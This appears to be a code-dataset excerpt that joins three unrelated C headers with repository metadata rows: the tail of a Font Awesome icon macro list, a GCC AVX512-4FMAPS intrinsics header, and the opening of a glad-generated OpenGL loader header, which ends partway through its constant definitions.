#define ICON_FA_TERMINAL "\xef\x84\xa0" // U+f120
#define ICON_FA_TEXT_HEIGHT "\xef\x80\xb4" // U+f034
#define ICON_FA_TEXT_SLASH "\xef\xa1\xbd" // U+f87d
#define ICON_FA_TEXT_WIDTH "\xef\x80\xb5" // U+f035
#define ICON_FA_THERMOMETER "\xef\x92\x91" // U+f491
#define ICON_FA_THUMBS_DOWN "\xef\x85\xa5" // U+f165
#define ICON_FA_THUMBS_UP "\xef\x85\xa4" // U+f164
#define ICON_FA_THUMBTACK "\xef\x82\x8d" // U+f08d
#define ICON_FA_TICKET "\xef\x85\x85" // U+f145
#define ICON_FA_TICKET_SIMPLE "\xef\x8f\xbf" // U+f3ff
#define ICON_FA_TIMELINE "\xee\x8a\x9c" // U+e29c
#define ICON_FA_TOGGLE_OFF "\xef\x88\x84" // U+f204
#define ICON_FA_TOGGLE_ON "\xef\x88\x85" // U+f205
#define ICON_FA_TOILET "\xef\x9f\x98" // U+f7d8
#define ICON_FA_TOILET_PAPER "\xef\x9c\x9e" // U+f71e
#define ICON_FA_TOILET_PAPER_SLASH "\xee\x81\xb2" // U+e072
#define ICON_FA_TOILET_PORTABLE "\xee\x96\x83" // U+e583
#define ICON_FA_TOILETS_PORTABLE "\xee\x96\x84" // U+e584
#define ICON_FA_TOOLBOX "\xef\x95\x92" // U+f552
#define ICON_FA_TOOTH "\xef\x97\x89" // U+f5c9
#define ICON_FA_TORII_GATE "\xef\x9a\xa1" // U+f6a1
#define ICON_FA_TORNADO "\xef\x9d\xaf" // U+f76f
#define ICON_FA_TOWER_BROADCAST "\xef\x94\x99" // U+f519
#define ICON_FA_TOWER_CELL "\xee\x96\x85" // U+e585
#define ICON_FA_TOWER_OBSERVATION "\xee\x96\x86" // U+e586
#define ICON_FA_TRACTOR "\xef\x9c\xa2" // U+f722
#define ICON_FA_TRADEMARK "\xef\x89\x9c" // U+f25c
#define ICON_FA_TRAFFIC_LIGHT "\xef\x98\xb7" // U+f637
#define ICON_FA_TRAILER "\xee\x81\x81" // U+e041
#define ICON_FA_TRAIN "\xef\x88\xb8" // U+f238
#define ICON_FA_TRAIN_SUBWAY "\xef\x88\xb9" // U+f239
#define ICON_FA_TRAIN_TRAM "\xee\x96\xb4" // U+e5b4
#define ICON_FA_TRANSGENDER "\xef\x88\xa5" // U+f225
#define ICON_FA_TRASH "\xef\x87\xb8" // U+f1f8
#define ICON_FA_TRASH_ARROW_UP "\xef\xa0\xa9" // U+f829
#define ICON_FA_TRASH_CAN "\xef\x8b\xad" // U+f2ed
#define ICON_FA_TRASH_CAN_ARROW_UP "\xef\xa0\xaa" // U+f82a
#define ICON_FA_TREE "\xef\x86\xbb" // U+f1bb
#define ICON_FA_TREE_CITY "\xee\x96\x87" // U+e587
#define ICON_FA_TRIANGLE_EXCLAMATION "\xef\x81\xb1" // U+f071
#define ICON_FA_TROPHY "\xef\x82\x91" // U+f091
#define ICON_FA_TROWEL "\xee\x96\x89" // U+e589
#define ICON_FA_TROWEL_BRICKS "\xee\x96\x8a" // U+e58a
#define ICON_FA_TRUCK "\xef\x83\x91" // U+f0d1
#define ICON_FA_TRUCK_ARROW_RIGHT "\xee\x96\x8b" // U+e58b
#define ICON_FA_TRUCK_DROPLET "\xee\x96\x8c" // U+e58c
#define ICON_FA_TRUCK_FAST "\xef\x92\x8b" // U+f48b
#define ICON_FA_TRUCK_FIELD "\xee\x96\x8d" // U+e58d
#define ICON_FA_TRUCK_FIELD_UN "\xee\x96\x8e" // U+e58e
#define ICON_FA_TRUCK_FRONT "\xee\x8a\xb7" // U+e2b7
#define ICON_FA_TRUCK_MEDICAL "\xef\x83\xb9" // U+f0f9
#define ICON_FA_TRUCK_MONSTER "\xef\x98\xbb" // U+f63b
#define ICON_FA_TRUCK_MOVING "\xef\x93\x9f" // U+f4df
#define ICON_FA_TRUCK_PICKUP "\xef\x98\xbc" // U+f63c
#define ICON_FA_TRUCK_PLANE "\xee\x96\x8f" // U+e58f
#define ICON_FA_TRUCK_RAMP_BOX "\xef\x93\x9e" // U+f4de
#define ICON_FA_TTY "\xef\x87\xa4" // U+f1e4
#define ICON_FA_TURKISH_LIRA_SIGN "\xee\x8a\xbb" // U+e2bb
#define ICON_FA_TURN_DOWN "\xef\x8e\xbe" // U+f3be
#define ICON_FA_TURN_UP "\xef\x8e\xbf" // U+f3bf
#define ICON_FA_TV "\xef\x89\xac" // U+f26c
#define ICON_FA_U "U" // U+0055
#define ICON_FA_UMBRELLA "\xef\x83\xa9" // U+f0e9
#define ICON_FA_UMBRELLA_BEACH "\xef\x97\x8a" // U+f5ca
#define ICON_FA_UNDERLINE "\xef\x83\x8d" // U+f0cd
#define ICON_FA_UNIVERSAL_ACCESS "\xef\x8a\x9a" // U+f29a
#define ICON_FA_UNLOCK "\xef\x82\x9c" // U+f09c
#define ICON_FA_UNLOCK_KEYHOLE "\xef\x84\xbe" // U+f13e
#define ICON_FA_UP_DOWN "\xef\x8c\xb8" // U+f338
#define ICON_FA_UP_DOWN_LEFT_RIGHT "\xef\x82\xb2" // U+f0b2
#define ICON_FA_UP_LONG "\xef\x8c\x8c" // U+f30c
#define ICON_FA_UP_RIGHT_AND_DOWN_LEFT_FROM_CENTER "\xef\x90\xa4" // U+f424
#define ICON_FA_UP_RIGHT_FROM_SQUARE "\xef\x8d\x9d" // U+f35d
#define ICON_FA_UPLOAD "\xef\x82\x93" // U+f093
#define ICON_FA_USER "\xef\x80\x87" // U+f007
#define ICON_FA_USER_ASTRONAUT "\xef\x93\xbb" // U+f4fb
#define ICON_FA_USER_CHECK "\xef\x93\xbc" // U+f4fc
#define ICON_FA_USER_CLOCK "\xef\x93\xbd" // U+f4fd
#define ICON_FA_USER_DOCTOR "\xef\x83\xb0" // U+f0f0
#define ICON_FA_USER_GEAR "\xef\x93\xbe" // U+f4fe
#define ICON_FA_USER_GRADUATE "\xef\x94\x81" // U+f501
#define ICON_FA_USER_GROUP "\xef\x94\x80" // U+f500
#define ICON_FA_USER_INJURED "\xef\x9c\xa8" // U+f728
#define ICON_FA_USER_LARGE "\xef\x90\x86" // U+f406
#define ICON_FA_USER_LARGE_SLASH "\xef\x93\xba" // U+f4fa
#define ICON_FA_USER_LOCK "\xef\x94\x82" // U+f502
#define ICON_FA_USER_MINUS "\xef\x94\x83" // U+f503
#define ICON_FA_USER_NINJA "\xef\x94\x84" // U+f504
#define ICON_FA_USER_NURSE "\xef\xa0\xaf" // U+f82f
#define ICON_FA_USER_PEN "\xef\x93\xbf" // U+f4ff
#define ICON_FA_USER_PLUS "\xef\x88\xb4" // U+f234
#define ICON_FA_USER_SECRET "\xef\x88\x9b" // U+f21b
#define ICON_FA_USER_SHIELD "\xef\x94\x85" // U+f505
#define ICON_FA_USER_SLASH "\xef\x94\x86" // U+f506
#define ICON_FA_USER_TAG "\xef\x94\x87" // U+f507
#define ICON_FA_USER_TIE "\xef\x94\x88" // U+f508
#define ICON_FA_USER_XMARK "\xef\x88\xb5" // U+f235
#define ICON_FA_USERS "\xef\x83\x80" // U+f0c0
#define ICON_FA_USERS_BETWEEN_LINES "\xee\x96\x91" // U+e591
#define ICON_FA_USERS_GEAR "\xef\x94\x89" // U+f509
#define ICON_FA_USERS_LINE "\xee\x96\x92" // U+e592
#define ICON_FA_USERS_RAYS "\xee\x96\x93" // U+e593
#define ICON_FA_USERS_RECTANGLE "\xee\x96\x94" // U+e594
#define ICON_FA_USERS_SLASH "\xee\x81\xb3" // U+e073
#define ICON_FA_USERS_VIEWFINDER "\xee\x96\x95" // U+e595
#define ICON_FA_UTENSILS "\xef\x8b\xa7" // U+f2e7
#define ICON_FA_V "V" // U+0056
#define ICON_FA_VAN_SHUTTLE "\xef\x96\xb6" // U+f5b6
#define ICON_FA_VAULT "\xee\x8b\x85" // U+e2c5
#define ICON_FA_VECTOR_SQUARE "\xef\x97\x8b" // U+f5cb
#define ICON_FA_VENUS "\xef\x88\xa1" // U+f221
#define ICON_FA_VENUS_DOUBLE "\xef\x88\xa6" // U+f226
#define ICON_FA_VENUS_MARS "\xef\x88\xa8" // U+f228
#define ICON_FA_VEST "\xee\x82\x85" // U+e085
#define ICON_FA_VEST_PATCHES "\xee\x82\x86" // U+e086
#define ICON_FA_VIAL "\xef\x92\x92" // U+f492
#define ICON_FA_VIAL_CIRCLE_CHECK "\xee\x96\x96" // U+e596
#define ICON_FA_VIAL_VIRUS "\xee\x96\x97" // U+e597
#define ICON_FA_VIALS "\xef\x92\x93" // U+f493
#define ICON_FA_VIDEO "\xef\x80\xbd" // U+f03d
#define ICON_FA_VIDEO_SLASH "\xef\x93\xa2" // U+f4e2
#define ICON_FA_VIHARA "\xef\x9a\xa7" // U+f6a7
#define ICON_FA_VIRUS "\xee\x81\xb4" // U+e074
#define ICON_FA_VIRUS_COVID "\xee\x92\xa8" // U+e4a8
#define ICON_FA_VIRUS_COVID_SLASH "\xee\x92\xa9" // U+e4a9
#define ICON_FA_VIRUS_SLASH "\xee\x81\xb5" // U+e075
#define ICON_FA_VIRUSES "\xee\x81\xb6" // U+e076
#define ICON_FA_VOICEMAIL "\xef\xa2\x97" // U+f897
#define ICON_FA_VOLCANO "\xef\x9d\xb0" // U+f770
#define ICON_FA_VOLLEYBALL "\xef\x91\x9f" // U+f45f
#define ICON_FA_VOLUME_HIGH "\xef\x80\xa8" // U+f028
#define ICON_FA_VOLUME_LOW "\xef\x80\xa7" // U+f027
#define ICON_FA_VOLUME_OFF "\xef\x80\xa6" // U+f026
#define ICON_FA_VOLUME_XMARK "\xef\x9a\xa9" // U+f6a9
#define ICON_FA_VR_CARDBOARD "\xef\x9c\xa9" // U+f729
#define ICON_FA_W "W" // U+0057
#define ICON_FA_WALKIE_TALKIE "\xef\xa3\xaf" // U+f8ef
#define ICON_FA_WALLET "\xef\x95\x95" // U+f555
#define ICON_FA_WAND_MAGIC "\xef\x83\x90" // U+f0d0
#define ICON_FA_WAND_MAGIC_SPARKLES "\xee\x8b\x8a" // U+e2ca
#define ICON_FA_WAND_SPARKLES "\xef\x9c\xab" // U+f72b
#define ICON_FA_WAREHOUSE "\xef\x92\x94" // U+f494
#define ICON_FA_WATER "\xef\x9d\xb3" // U+f773
#define ICON_FA_WATER_LADDER "\xef\x97\x85" // U+f5c5
#define ICON_FA_WAVE_SQUARE "\xef\xa0\xbe" // U+f83e
#define ICON_FA_WEIGHT_HANGING "\xef\x97\x8d" // U+f5cd
#define ICON_FA_WEIGHT_SCALE "\xef\x92\x96" // U+f496
#define ICON_FA_WHEAT_AWN "\xee\x8b\x8d" // U+e2cd
#define ICON_FA_WHEAT_AWN_CIRCLE_EXCLAMATION "\xee\x96\x98" // U+e598
#define ICON_FA_WHEELCHAIR "\xef\x86\x93" // U+f193
#define ICON_FA_WHEELCHAIR_MOVE "\xee\x8b\x8e" // U+e2ce
#define ICON_FA_WHISKEY_GLASS "\xef\x9e\xa0" // U+f7a0
#define ICON_FA_WIFI "\xef\x87\xab" // U+f1eb
#define ICON_FA_WIND "\xef\x9c\xae" // U+f72e
#define ICON_FA_WINDOW_MAXIMIZE "\xef\x8b\x90" // U+f2d0
#define ICON_FA_WINDOW_MINIMIZE "\xef\x8b\x91" // U+f2d1
#define ICON_FA_WINDOW_RESTORE "\xef\x8b\x92" // U+f2d2
#define ICON_FA_WINE_BOTTLE "\xef\x9c\xaf" // U+f72f
#define ICON_FA_WINE_GLASS "\xef\x93\xa3" // U+f4e3
#define ICON_FA_WINE_GLASS_EMPTY "\xef\x97\x8e" // U+f5ce
#define ICON_FA_WON_SIGN "\xef\x85\x99" // U+f159
#define ICON_FA_WORM "\xee\x96\x99" // U+e599
#define ICON_FA_WRENCH "\xef\x82\xad" // U+f0ad
#define ICON_FA_X "X" // U+0058
#define ICON_FA_X_RAY "\xef\x92\x97" // U+f497
#define ICON_FA_XMARK "\xef\x80\x8d" // U+f00d
#define ICON_FA_XMARKS_LINES "\xee\x96\x9a" // U+e59a
#define ICON_FA_Y "Y" // U+0059
#define ICON_FA_YEN_SIGN "\xef\x85\x97" // U+f157
#define ICON_FA_YIN_YANG "\xef\x9a\xad" // U+f6ad
#define ICON_FA_Z "Z" // U+005a
|
40b0a2744c6975ff2c880d7d161c62113c8b415b
|
fdbb74a95924e2677466614f6ab6e2bb13b2a95a
|
/third_party/intel/avx5124fmapsintrin.internal.h
|
7cbfc440420c7cb9738cb66684378356cfec446e
|
[
"ISC"
] |
permissive
|
jart/cosmopolitan
|
fb11b5658939023977060a7c6c71a74093d9cb44
|
0d748ad58e1063dd1f8560f18a0c75293b9415b7
|
refs/heads/master
| 2023-09-06T09:17:29.303607
| 2023-09-02T03:49:13
| 2023-09-02T03:50:18
| 272,457,606
| 11,887
| 435
|
ISC
| 2023-09-14T17:47:58
| 2020-06-15T14:16:13
|
C
|
UTF-8
|
C
| false
| false
| 5,515
|
h
|
avx5124fmapsintrin.internal.h
|
/* clang-format off */
#if defined(__x86_64__) && !(__ASSEMBLER__ + __LINKER__ + 0)
#if !defined _IMMINTRIN_H_INCLUDED
# error "Never use <avx5124fmapsintrin.h> directly; include <x86intrin.h> instead."
#endif
#ifndef _AVX5124FMAPSINTRIN_H_INCLUDED
#define _AVX5124FMAPSINTRIN_H_INCLUDED
#ifndef __AVX5124FMAPS__
#pragma GCC push_options
#pragma GCC target("avx5124fmaps")
#define __DISABLE_AVX5124FMAPS__
#endif
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_4fmadd_ps (__m512 __A, __m512 __B, __m512 __C,
__m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fmaddps ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F);
}
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_mask_4fmadd_ps (__m512 __A, __mmask16 __U, __m512 __B,
__m512 __C, __m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fmaddps_mask ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F,
(__v16sf) __A,
(__mmask16) __U);
}
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_maskz_4fmadd_ps (__mmask16 __U,
__m512 __A, __m512 __B, __m512 __C,
__m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fmaddps_mask ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F,
(__v16sf) _mm512_setzero_ps (),
(__mmask16) __U);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_4fmadd_ss (__m128 __A, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fmaddss ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_mask_4fmadd_ss (__m128 __A, __mmask8 __U, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fmaddss_mask ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F,
(__v4sf) __A,
(__mmask8) __U);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_maskz_4fmadd_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fmaddss_mask ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F,
(__v4sf) _mm_setzero_ps (),
(__mmask8) __U);
}
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_4fnmadd_ps (__m512 __A, __m512 __B, __m512 __C,
__m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fnmaddps ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F);
}
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_mask_4fnmadd_ps (__m512 __A, __mmask16 __U, __m512 __B,
__m512 __C, __m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fnmaddps_mask ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F,
(__v16sf) __A,
(__mmask16) __U);
}
extern __inline __m512
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm512_maskz_4fnmadd_ps (__mmask16 __U,
__m512 __A, __m512 __B, __m512 __C,
__m512 __D, __m512 __E, __m128 *__F)
{
return (__m512) __builtin_ia32_4fnmaddps_mask ((__v16sf) __B,
(__v16sf) __C,
(__v16sf) __D,
(__v16sf) __E,
(__v16sf) __A,
(const __v4sf *) __F,
(__v16sf) _mm512_setzero_ps (),
(__mmask16) __U);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_4fnmadd_ss (__m128 __A, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fnmaddss ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_mask_4fnmadd_ss (__m128 __A, __mmask8 __U, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fnmaddss_mask ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F,
(__v4sf) __A,
(__mmask8) __U);
}
extern __inline __m128
__attribute__((__gnu_inline__, __always_inline__, __artificial__))
_mm_maskz_4fnmadd_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C,
__m128 __D, __m128 __E, __m128 *__F)
{
return (__m128) __builtin_ia32_4fnmaddss_mask ((__v4sf) __B,
(__v4sf) __C,
(__v4sf) __D,
(__v4sf) __E,
(__v4sf) __A,
(const __v4sf *) __F,
(__v4sf) _mm_setzero_ps (),
(__mmask8) __U);
}
#ifdef __DISABLE_AVX5124FMAPS__
#undef __DISABLE_AVX5124FMAPS__
#pragma GCC pop_options
#endif
#endif
#endif
|
1bd82b98e14e510bf8c698a30d6b8a34c85a46c9
|
f7dc806f341ef5dbb0e11252a4693003a66853d5
|
/thirdparty/glad/glad/gl.h
|
b09b5ff280b2f37e139273eb7cd28db305947fdd
|
[
"LicenseRef-scancode-free-unknown",
"MIT",
"CC-BY-4.0",
"OFL-1.1",
"Bison-exception-2.2",
"CC0-1.0",
"LicenseRef-scancode-nvidia-2002",
"LicenseRef-scancode-other-permissive",
"GPL-3.0-only",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense",
"BSL-1.0",
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-unicode",
"BSD-2-Clause",
"FTL",
"GPL-3.0-or-later",
"Bitstream-Vera",
"Zlib",
"MPL-2.0",
"MIT-Modern-Variant",
"LicenseRef-scancode-khronos",
"JSON",
"Libpng"
] |
permissive
|
godotengine/godot
|
8a2419750f4851d1426a8f3bcb52cac5c86f23c2
|
970be7afdc111ccc7459d7ef3560de70e6d08c80
|
refs/heads/master
| 2023-08-21T14:37:00.262883
| 2023-08-21T06:26:15
| 2023-08-21T06:26:15
| 15,634,981
| 68,852
| 18,388
|
MIT
| 2023-09-14T21:42:16
| 2014-01-04T16:05:36
|
C++
|
UTF-8
|
C
| false
| false
| 205,323
|
h
|
gl.h
|
/**
* Loader generated by glad 2.0.4 on Mon May 22 13:18:29 2023
*
* SPDX-License-Identifier: (WTFPL OR CC0-1.0) AND Apache-2.0
*
* Generator: C/C++
* Specification: gl
* Extensions: 8
*
* APIs:
* - gl:compatibility=3.3
*
* Options:
* - ALIAS = False
* - DEBUG = False
* - HEADER_ONLY = False
* - LOADER = True
* - MX = False
* - ON_DEMAND = False
*
* Commandline:
* --api='gl:compatibility=3.3' --extensions='GL_ARB_debug_output,GL_ARB_framebuffer_object,GL_ARB_get_program_binary,GL_EXT_framebuffer_blit,GL_EXT_framebuffer_multisample,GL_EXT_framebuffer_object,GL_OVR_multiview,GL_OVR_multiview2' c --loader
*
* Online:
* http://glad.sh/#api=gl%3Acompatibility%3D3.3&extensions=GL_ARB_debug_output%2CGL_ARB_framebuffer_object%2CGL_ARB_get_program_binary%2CGL_EXT_framebuffer_blit%2CGL_EXT_framebuffer_multisample%2CGL_EXT_framebuffer_object%2CGL_OVR_multiview%2CGL_OVR_multiview2&generator=c&options=LOADER
*
*/
#ifndef GLAD_GL_H_
#define GLAD_GL_H_
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wreserved-id-macro"
#endif
#ifdef __gl_h_
#error OpenGL (gl.h) header already included (API: gl), remove previous include!
#endif
#define __gl_h_ 1
#ifdef __gl3_h_
#error OpenGL (gl3.h) header already included (API: gl), remove previous include!
#endif
#define __gl3_h_ 1
#ifdef __glext_h_
#error OpenGL (glext.h) header already included (API: gl), remove previous include!
#endif
#define __glext_h_ 1
#ifdef __gl3ext_h_
#error OpenGL (gl3ext.h) header already included (API: gl), remove previous include!
#endif
#define __gl3ext_h_ 1
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#define GLAD_GL
#define GLAD_OPTION_GL_LOADER
#ifdef __cplusplus
extern "C" {
#endif
#ifndef GLAD_PLATFORM_H_
#define GLAD_PLATFORM_H_
#ifndef GLAD_PLATFORM_WIN32
#if defined(_WIN32) || defined(__WIN32__) || defined(WIN32) || defined(__MINGW32__)
#define GLAD_PLATFORM_WIN32 1
#else
#define GLAD_PLATFORM_WIN32 0
#endif
#endif
#ifndef GLAD_PLATFORM_APPLE
#ifdef __APPLE__
#define GLAD_PLATFORM_APPLE 1
#else
#define GLAD_PLATFORM_APPLE 0
#endif
#endif
#ifndef GLAD_PLATFORM_EMSCRIPTEN
#ifdef __EMSCRIPTEN__
#define GLAD_PLATFORM_EMSCRIPTEN 1
#else
#define GLAD_PLATFORM_EMSCRIPTEN 0
#endif
#endif
#ifndef GLAD_PLATFORM_UWP
#if defined(_MSC_VER) && !defined(GLAD_INTERNAL_HAVE_WINAPIFAMILY)
#ifdef __has_include
#if __has_include(<winapifamily.h>)
#define GLAD_INTERNAL_HAVE_WINAPIFAMILY 1
#endif
#elif _MSC_VER >= 1700 && !_USING_V110_SDK71_
#define GLAD_INTERNAL_HAVE_WINAPIFAMILY 1
#endif
#endif
#ifdef GLAD_INTERNAL_HAVE_WINAPIFAMILY
#include <winapifamily.h>
#if !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)
#define GLAD_PLATFORM_UWP 1
#endif
#endif
#ifndef GLAD_PLATFORM_UWP
#define GLAD_PLATFORM_UWP 0
#endif
#endif
#ifdef __GNUC__
#define GLAD_GNUC_EXTENSION __extension__
#else
#define GLAD_GNUC_EXTENSION
#endif
#define GLAD_UNUSED(x) (void)(x)
#ifndef GLAD_API_CALL
#if defined(GLAD_API_CALL_EXPORT)
#if GLAD_PLATFORM_WIN32 || defined(__CYGWIN__)
#if defined(GLAD_API_CALL_EXPORT_BUILD)
#if defined(__GNUC__)
#define GLAD_API_CALL __attribute__ ((dllexport)) extern
#else
#define GLAD_API_CALL __declspec(dllexport) extern
#endif
#else
#if defined(__GNUC__)
#define GLAD_API_CALL __attribute__ ((dllimport)) extern
#else
#define GLAD_API_CALL __declspec(dllimport) extern
#endif
#endif
#elif defined(__GNUC__) && defined(GLAD_API_CALL_EXPORT_BUILD)
#define GLAD_API_CALL __attribute__ ((visibility ("default"))) extern
#else
#define GLAD_API_CALL extern
#endif
#else
#define GLAD_API_CALL extern
#endif
#endif
#ifdef APIENTRY
#define GLAD_API_PTR APIENTRY
#elif GLAD_PLATFORM_WIN32
#define GLAD_API_PTR __stdcall
#else
#define GLAD_API_PTR
#endif
#ifndef GLAPI
#define GLAPI GLAD_API_CALL
#endif
#ifndef GLAPIENTRY
#define GLAPIENTRY GLAD_API_PTR
#endif
#define GLAD_MAKE_VERSION(major, minor) (major * 10000 + minor)
#define GLAD_VERSION_MAJOR(version) (version / 10000)
#define GLAD_VERSION_MINOR(version) (version % 10000)
#define GLAD_GENERATOR_VERSION "2.0.4"
typedef void (*GLADapiproc)(void);
typedef GLADapiproc (*GLADloadfunc)(const char *name);
typedef GLADapiproc (*GLADuserptrloadfunc)(void *userptr, const char *name);
typedef void (*GLADprecallback)(const char *name, GLADapiproc apiproc, int len_args, ...);
typedef void (*GLADpostcallback)(void *ret, const char *name, GLADapiproc apiproc, int len_args, ...);
#endif /* GLAD_PLATFORM_H_ */
#define GL_2D 0x0600
#define GL_2_BYTES 0x1407
#define GL_3D 0x0601
#define GL_3D_COLOR 0x0602
#define GL_3D_COLOR_TEXTURE 0x0603
#define GL_3_BYTES 0x1408
#define GL_4D_COLOR_TEXTURE 0x0604
#define GL_4_BYTES 0x1409
#define GL_ACCUM 0x0100
#define GL_ACCUM_ALPHA_BITS 0x0D5B
#define GL_ACCUM_BLUE_BITS 0x0D5A
#define GL_ACCUM_BUFFER_BIT 0x00000200
#define GL_ACCUM_CLEAR_VALUE 0x0B80
#define GL_ACCUM_GREEN_BITS 0x0D59
#define GL_ACCUM_RED_BITS 0x0D58
#define GL_ACTIVE_ATTRIBUTES 0x8B89
#define GL_ACTIVE_ATTRIBUTE_MAX_LENGTH 0x8B8A
#define GL_ACTIVE_TEXTURE 0x84E0
#define GL_ACTIVE_UNIFORMS 0x8B86
#define GL_ACTIVE_UNIFORM_BLOCKS 0x8A36
#define GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH 0x8A35
#define GL_ACTIVE_UNIFORM_MAX_LENGTH 0x8B87
#define GL_ADD 0x0104
#define GL_ADD_SIGNED 0x8574
#define GL_ALIASED_LINE_WIDTH_RANGE 0x846E
#define GL_ALIASED_POINT_SIZE_RANGE 0x846D
#define GL_ALL_ATTRIB_BITS 0xFFFFFFFF
#define GL_ALPHA 0x1906
#define GL_ALPHA12 0x803D
#define GL_ALPHA16 0x803E
#define GL_ALPHA4 0x803B
#define GL_ALPHA8 0x803C
#define GL_ALPHA_BIAS 0x0D1D
#define GL_ALPHA_BITS 0x0D55
#define GL_ALPHA_INTEGER 0x8D97
#define GL_ALPHA_SCALE 0x0D1C
#define GL_ALPHA_TEST 0x0BC0
#define GL_ALPHA_TEST_FUNC 0x0BC1
#define GL_ALPHA_TEST_REF 0x0BC2
#define GL_ALREADY_SIGNALED 0x911A
#define GL_ALWAYS 0x0207
#define GL_AMBIENT 0x1200
#define GL_AMBIENT_AND_DIFFUSE 0x1602
#define GL_AND 0x1501
#define GL_AND_INVERTED 0x1504
#define GL_AND_REVERSE 0x1502
#define GL_ANY_SAMPLES_PASSED 0x8C2F
#define GL_ARRAY_BUFFER 0x8892
#define GL_ARRAY_BUFFER_BINDING 0x8894
#define GL_ATTACHED_SHADERS 0x8B85
#define GL_ATTRIB_STACK_DEPTH 0x0BB0
#define GL_AUTO_NORMAL 0x0D80
#define GL_AUX0 0x0409
#define GL_AUX1 0x040A
#define GL_AUX2 0x040B
#define GL_AUX3 0x040C
#define GL_AUX_BUFFERS 0x0C00
#define GL_BACK 0x0405
#define GL_BACK_LEFT 0x0402
#define GL_BACK_RIGHT 0x0403
#define GL_BGR 0x80E0
#define GL_BGRA 0x80E1
#define GL_BGRA_INTEGER 0x8D9B
#define GL_BGR_INTEGER 0x8D9A
#define GL_BITMAP 0x1A00
#define GL_BITMAP_TOKEN 0x0704
#define GL_BLEND 0x0BE2
#define GL_BLEND_COLOR 0x8005
#define GL_BLEND_DST 0x0BE0
#define GL_BLEND_DST_ALPHA 0x80CA
#define GL_BLEND_DST_RGB 0x80C8
#define GL_BLEND_EQUATION 0x8009
#define GL_BLEND_EQUATION_ALPHA 0x883D
#define GL_BLEND_EQUATION_RGB 0x8009
#define GL_BLEND_SRC 0x0BE1
#define GL_BLEND_SRC_ALPHA 0x80CB
#define GL_BLEND_SRC_RGB 0x80C9
#define GL_BLUE 0x1905
#define GL_BLUE_BIAS 0x0D1B
#define GL_BLUE_BITS 0x0D54
#define GL_BLUE_INTEGER 0x8D96
#define GL_BLUE_SCALE 0x0D1A
#define GL_BOOL 0x8B56
#define GL_BOOL_VEC2 0x8B57
#define GL_BOOL_VEC3 0x8B58
#define GL_BOOL_VEC4 0x8B59
#define GL_BUFFER_ACCESS 0x88BB
#define GL_BUFFER_ACCESS_FLAGS 0x911F
#define GL_BUFFER_MAPPED 0x88BC
#define GL_BUFFER_MAP_LENGTH 0x9120
#define GL_BUFFER_MAP_OFFSET 0x9121
#define GL_BUFFER_MAP_POINTER 0x88BD
#define GL_BUFFER_SIZE 0x8764
#define GL_BUFFER_USAGE 0x8765
#define GL_BYTE 0x1400
#define GL_C3F_V3F 0x2A24
#define GL_C4F_N3F_V3F 0x2A26
#define GL_C4UB_V2F 0x2A22
#define GL_C4UB_V3F 0x2A23
#define GL_CCW 0x0901
#define GL_CLAMP 0x2900
#define GL_CLAMP_FRAGMENT_COLOR 0x891B
